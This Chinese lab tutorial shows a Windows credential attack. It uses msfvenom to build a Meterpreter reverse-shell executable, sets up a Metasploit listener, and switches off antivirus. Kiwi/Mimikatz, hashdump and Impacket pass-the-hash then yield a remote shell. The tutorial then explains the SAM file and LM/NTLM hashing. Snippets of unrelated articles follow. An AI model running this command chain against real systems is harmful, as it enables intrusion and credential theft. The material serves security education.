网络安全(6) 模拟实验 Metasploit 控制并获取Windows 登录HASH、LM Hash和NTLM Hash密文解析

窃取WINDOWS账号密码

系统环境:主机(Windows系统 IP:192.168.126.129),虚拟机(KALI系统 IP:192.168.126.3),两者需要能通过本地网络互通互连。
攻击工具:Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。

控制Windows系统

  1. 生成反弹型木马
    进入KALI系统,使用以下代码生成程序,反弹到的监听端地址为192.168.126.3,监听端口为12345,文件输出格式为exe并保存到当前路径\~
    msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.126.3 LPORT=12345 -f exe -o shell.exe
  1. 在本地通过GIT BASH或其它BASH程序使用SCP命令拉取代码到D盘根目录.
    scp root
scp root@192.168.126.3:/root/shell.exe /d
  1. 返回KALI,并开启监听程序
    exploit
msfconsole #进入Metasploit组件
use exploit/multi/handler #使用反向Shell模块,用于接收反弹的Shell
set paload windows/x64/meterpreter/reverse_tcp #它一种常见的Stagers Payload,它可以让目标系统与攻击者建立一条tcp连接
set lhost 192.168.126.3 #本地主机地址
set lport 12345 #端口号
exploit #启动
  1. 运行成功后,回到Windows电脑中,关闭杀毒软件、防火墙、间谍程序。
    关闭

  2. 在电脑里(右键管理员运行)打开刚刚的下载的那个shell.exe
    打开成功后即可在kali中看到效果如下:
    meterpreter

远程登录Windows

  1. 主机"以管理员身份运行"CMD.exe,接着启动administrator账户,并回到用户界面设置密码。
    administrator
net user administrator /active:yes
  1. 返回KALI系统的监听程序,尝试获取明文密码
    creds_all
load kiwi #载入kiwi (旧版名称: Mimikatz) 获取账户密码工具
getsystem #获取system权限(提权)
creds_all #获取所有明文密码

使用msf自带的mimikatz抓取密码,但可以看到密码为null,说明这台pc已经打了微软的补丁,抓取不到明文密码了

  1. 尝试获取Hash密码
    hashdump

Hashdump Meterpreter脚本可以从目标机器中提取Hash值,破解Hash值即可获得登录密码。计算机中的每个账号(如果是域服务器,则为域内的每个账号)的用户名和密码都存储在sam文件中,当计算机运行时,该文件对所有账号进行锁定,要
想访问就必须有"系统级”账号。

  1. 这个时候我们可以用加密后的哈希登录:
    impact
python3 psexec.py Administrator@192.168.126.129 -hashes 密钥:密钥

Psexec.py允许你在远程Windows系统上执行进程,复制文件,并返回处理输出结果。此外,它还允许你直接使用完整的交互式控制台执行远程shell命令

注意:在只知道 NTLM Hash 的情况下,只有 RID 为 500 的管理员用户才能绕过 UAC 成功执行 PTH;若 RID 不是 500,即便是在本地管理员用户组里也无法执行 PTH。 这就是为什么一开始要先开启Windows账户。

Impacket 是一组用于处理网络协议的 Python 类。 Impacket 专注于提供对数据包的低级编程访问,并为某些协议(例如 SMB1-3 和 MSRPC)提供协议实现本身。

思考

1. windows登录的明文密码,存储过程是怎么样的,密文存在哪个文件下,该文件是否可以打开,并且查看到密文
2. 我们通过hashdump 抓取出 所有用户的密文,分为两个模块,为什么? 这两个模块分别都代表什么
3. 为什么第一个模块 永远是一样的aad3?
4. 这两个模块的加密算法有什么不同,如何加密的?

解析登录密文

Windows系统为了安全考虑,并不会以明文形式存储用户的登录密码。这是一个非常重要的设计原则,因为如果密码以明文形式存储,那么任何能够访问存储位置的人或程序都可以轻易地获取到密码,这显然是不安全的。

登录流程

ntlm hash

  1. 首先,用户触发登录过程,winlogon.exe 进程检测到这一操作,并调用GINA来显示登录对话框,以供用户输入用户名和密码。

    INA负责收集和传递用户的身份验证信息。

  2. 接着,用户输入用户名和密码,并点击确定后,GINA(图形标识和身份验证)将这些信息发送给LSA(本地安全认证子系统)进行验证。

    LSA是Windows中负责身份验证的核心组件,它会根据配置和策略对用户进行验证。

  3. 在验证过程中,LSA可能会调用相应的验证程序包(如msv1_0.dll),对用户输入的信息进行处理,并与存储在SAM(安全账户管理器)数据库中的密钥进行对比。

    SAM数据库存储了用户的账户信息和密码哈希等关键数据。

  4. 如果对比结果显示用户有效,SAM会将用户的SID(安全标识符)以及用户所属用户组的SID等相关信息发送给LSA。

    SID是Windows系统中用于唯一标识用户和组的安全标识符。

  5. 随后,LSA根据收到的SID信息创建安全访问令牌,并将令牌的句柄和登录信息发送给winlogon进程。

    安全访问令牌是Windows用于控制对系统资源的访问权限的重要机制。

  6. 最后,winlogon进程对用户登录进行最后的处理,完成整个登录过程。此时,用户将看到Windows桌面,并可以开始使用系统。

存储过程

那么,Windows是如何存储用户密码的呢?

在用户输入密码进行登录时,Windows会采用一种或多种加密协议(如NTLM或Kerberos)对密码进行加密处理。
这些加密协议会将用户输入的明文密码转换成一种难以逆向解析的密文形式。
这样,即使有人能够访问到存储密码的位置,也无法直接获取到用户的明文密码。

SAM文件

接下来,我们来看看这些加密后的密码密文是存储在哪个文件下的。

在Windows系统中,用户登录密码的密文通常存储在

C:\Windows\System32\config\SAM

SAM文件下的SAM数据库中。

SAM数据库是Windows系统中用于存储账户安全信息的核心文件之一,它包含了用户的账户信息、密码哈希值等敏感数据。

那么,关于这个文件是否可以打开并查看到密文的问题,答案是一般情况下是不可以的。
SAM文件是系统级的文件,受到严格的权限限制,普通用户或程序是无法直接打开并查看其中的内容的。
即使具有管理员权限,直接打开SAM文件也会遇到困难,因为系统通常会显示“另一个程序正在使用此文件”或“进程无法访问”等提示。

然而渗透测试人员或安全研究人员可以通过Mimikatz打开SAM文件

Mimikatz是一款功能强大的安全工具,由Benjamin Delpy使用C语言编写。它可以从机器内存中提取明文密码、密码Hash、PIN码和Kerberos票据等敏感信息。
Mimikatz的强大之处在于它可以直接从lsass.exe进程中获取当前登录系统用户的密码。
lsass是Windows系统的安全机制,主要用于本地安全和登录策略。当你登录系统时,密码会存储在lsass内存中,经过可逆算法加密后存储。Mimikatz通过对lsass逆算,可以获取到明文密码。

hashdump

我们通过hashdump 抓取出 所有用户的密文,分为两个模块,为什么? 这两个模块分别都代表什么。

hashdump是一种密码破解技术,它的原理是通过获取目标系统中的哈希值,然后利用各种手段将哈希值破解为明文密码。
hashdump
原因是因为从windows NT开始,windows采用的是NTLM Hash密码,因此hashdump为了区分不同版本的windows系统加密方式,才能正确地提取和分析密文。
第一个模块是LM Hash采用DES加密,第二个模块是NTLM Hash基于MD4加密算法。

LM Hash加密方式

为什么第一个模块 永远是一样的aad3?
  1. 用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。
  2. 密码的16进制字符串被分成两个7byte部分。
  3. 每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度
  4. 再分7bit为一组,每组末尾加0,再组成一组。

根据这个加密过程,就可以看到使用的是分组的DES,如果密码强度是小于7位,那么第二个分组加密后的结果肯定是aad3b435b51404ee,如果我们看到LM hash的结尾是aad3b435b51404ee,就可以很轻易的发现密码强度少于7位。
而我们这次看到的是两组aad3b435b51404ee aad3b435b51404ee,这一般代表密码为空或者LM Hash被禁用,分割的两组明文都无。

LM Hash(“LAN Manager Hash”) 是微软为了提高Windows操作系统的安全性而采用的散列加密算法,其本质是DES加密。 尽管LM Hash较容易被破解,但是为了保证系统的兼容性,Windows只是将LM Hash禁用了(从Windows Vista和Windows
Server 2008版本开始,Windows操作系统默认禁用LM Hash)。 LM Hash明文密码被限制在14位以内,如果LM Hash被禁用了,抓取的LM Hash通常为"aad3b435b51404eeaad3b435b51404ee"。

NTLM Hash加密

NTLM(New Technology LAN Manager)身份验证协议是微软用于Windows身份验证的主要协议之一。
早期SMB协议以明文口令的形式在网络上传输,因此产生了安全性问题。
后来出现了LM(LAN Manager)身份验证协议,它是如此的简单以至于很容易被破解。
之后微软提出了NTLM身份验证协议,以及更新的NTLM V2版本。
NTLM协议既可以为工作组中的机器提供身份验证,也可以用于域环境身份验证。NTLM协议可以为SMB、HTTP、LDAP、SMTP等上层微软应用提供身份认证。

NTLM_Hash = md4(unicode(hex(password)))
  1. 先将用户密码转换为16进制格式。
  2. 再将16进制格式的字符串进行ASCII转Unicode编码。
  3. 最后对Unicode编码的16进制字符串进行标准MD4单向哈希加密。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/595603.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

自动化工具

一、介绍一些自动化的工具 puppet和chef用的是Ruby语言http协议,淘汰 saltstack Python语言 c/s ssh协议,5% ansible 无cilent ssh协议 用Python开发 95% 二、ansible简介 2.1 ansible自动化运维工具特点 Ansible 与 Saltstack 均是基于…

HNU-人工智能-实验2-简单CSP问题

人工智能-实验2 计科210x 甘晴void 一、实验目的 求解约束满足问题 使用回溯搜索算法求解八皇后问题 二、实验平台 课程实训平台https://www.educoder.net/paths/369 三、实验内容 3.0 题目要求 回溯搜索算法 搜索与回溯是计算机解题中常用的算法,很多问…

【STM32嵌入式系统设计与开发】——18StaticNixite(静态数码管应用)

这里写目录标题 STM32资料包: 百度网盘下载链接:链接:https://pan.baidu.com/s/1mWx9Asaipk-2z9HY17wYXQ?pwd8888 提取码:88881、函数编辑(1)主函数编辑(2)主函数头文件函数&#x…

LangChain-RAG学习之 文档加载器

目录 一、实现原理 二、文档加载器的选择 (一).PDF 加载本地文件 可能需要的环境配置 (二).CSV 1、使用每个文档一行的 CSV 数据加载 CSVLoader 2、自定义 csv 解析和加载 (csv_args 3、指定用于 标识文档来源的 列(source_column (三)、文件目…

某了么数据获取脚本

某了么数据获取脚本 这段代码定义了一个名为 ElemeH5 的类,继承自 Base 类,用于处理与饿了么平台的API交互。该类包括了多种方法来进行网络请求、数据处理和API接口的动态生成。以下是对主要组成部分的详细解析: 类属性定义: fun…

2023陇剑杯-流量分析篇-wp

1.ez_web Q1:服务器自带的后门文件是什么? 常用http过滤命令:http.request.full_urihttp.request.methodPOST 查看第一个POST请求,发现关键点file_put_contents(备注:file_put_contents内置函数,用于将字…

2×24.5W、内置 DSP、低失真、高信噪比、I2S 输入 D 类音频功率放大器,完美替换TPA5805,晶豪,致盛,

ANT3825 是一款高集成度、高效率的双通道数字 输入功放。供电电压范围在 5V~18V,数字接口 电源支持 3.3V 或 1.8V。双通道 BTL 模式下输出 功率可以到 224.5W(4Ω,16V,THDN1%), 单通道 PBTL 模式下可以输出 37W&#x…

Rust里的Fn/FnMut/FnOnce和闭包匿名函数关系

闭包(英语:Closure),又称词法闭包(Lexical Closure)或函数闭包(function closures),是引用了自由变量的函数。这个被引用的自由变量将和这个函数一同存在,即使…

武汉星起航:策略升级,亚马逊平台销售额持续增长显实力

武汉星起航电子商务有限公司,一家致力于跨境电商领域的企业,于2023年10月30日在上海股权托管交易中心成功挂牌展示,这一里程碑事件标志着公司正式踏入资本市场,开启了新的发展篇章。公司董事长张振邦在接受【第一财经】采访时表示…

Java_从入门到JavaEE_09

一、构造方法/构造器 含义:和new一起是创建对象的功能 特点: 与类名相同的方法没有返回项 注意: 当类中没有写构造方法时,系统会默认添加无参构造(无参数的构造方法)构造方法可以重载的 有参构造好处&…

开源15T tokens!HuggingFace放出规模最大、质量最高预训练数据集 | 最新快讯

新智元报道 编辑:LRS FineWeb 是一个高质量的预训练数据集,包含 15T 个 tokens,主要包含英语文本;消融实验证明了 FineWeb 数据集的质量要高于其他开源数据集;数据清洗脚本也已开源。 Meta 最近开源的 Llama 3 模型再次…

vulnhub靶场之FunBox-2

一.环境搭建 1.靶场描述 Boot2Root ! This can be a real life scenario if rockies becomes admins. Easy going in round about 15 mins. Bit more, if you are find and stuck in the rabbit-hole first. This VM is created/tested with Virtualbox. Maybe it works with…

C#编程模式之外观模式

创作背景:给位伙伴,五一小长假结束,我们继续对C#编程之路进行探索。本文将继续编程模式的研究,主要介绍外观模式。外观模式也称为门面模式,是一种结构型设计模式,它的目的是为子系统中的一组接口提供一个统…

【隧道篇 / WAN优化】(7.4) ❀ 01. 启动WAN优化 ❀ FortiGate 防火墙

【简介】几乎所有的人都知道,防火墙自带的硬盘是用来保存日志,以方便在出现问题时能找到原因。但是很少的人知道,防火墙自带的硬盘其实还有另一个功能,那就是用于WAN优化。 防火墙自带的硬盘 在FortiGate防火墙A、B、C、D系列&…

oracle 8i系统检查

oracle 8i系统检查 set echo on spool d:\bk\1.txt select sysdate from dual; --版本信息 select * from v$version; --安装的产品 col PARAMETER for a50; col value for a10; select * from v$option order by 2; --用户信息 set linesize 100 set pagesize 100 COL USE…

景源畅信:抖音运营做什么工作内容?

在如今这个信息爆炸的时代,抖音已经成为了人们生活中不可或缺的一部分。无论是消磨时间、获取信息还是展示自我,抖音都扮演着重要的角色。那么,作为抖音运营,他们需要做些什么呢? 一、内容策划与制作 抖音运营的首要任务就是内容…

爬虫Python库Requests

一、介绍 Requests 是一个强大的 Python 库,用于发送 HTTP 请求。它使得与 RESTful API 进行交互变得非常简单。Requests 可以通过 GET、POST、PUT、DELETE 等方法发送各种类型的请求,并且支持自定义 HTTP 头、请求参数、数据、cookies 等。 使用 Requ…

MCM箱模型实践技术应用与O3形成途径、生成潜势、敏感性分析

目前,大气臭氧污染成为我国“十四五”期间亟待解决的环境问题。臭氧污染不仅对气候有重要影响,而且对人体健康、植物生长均有严重损害。为了高效、精准地治理区域大气臭氧污染,需要了解臭氧生成的主要途径及其前体物。OBM箱模型可用于模拟光化…

武汉星起航:跨境电商领域国际竞争力卓越,引领行业再上新台阶

在全球化浪潮的推动下,跨境电商行业日益成为各国经济交流与合作的重要桥梁。武汉星起航电子商务有限公司,作为跨境电商领域的佼佼者,凭借其深厚的行业经验和前瞻性的战略视野,在国际市场上展现出强大的竞争力,为行业的…

优化理论复习——(二)

本篇主要介绍一下LP问题及其相关的解法和示例,主要是记住相关的方法和结论即可,不要求证明。 方法主要是单纯形法,同时对于初始基可行解确定方面使用了大M法和二阶段法。主体都是关于单纯形法的。 首先认识一下线性规划的一般问题形式&#x…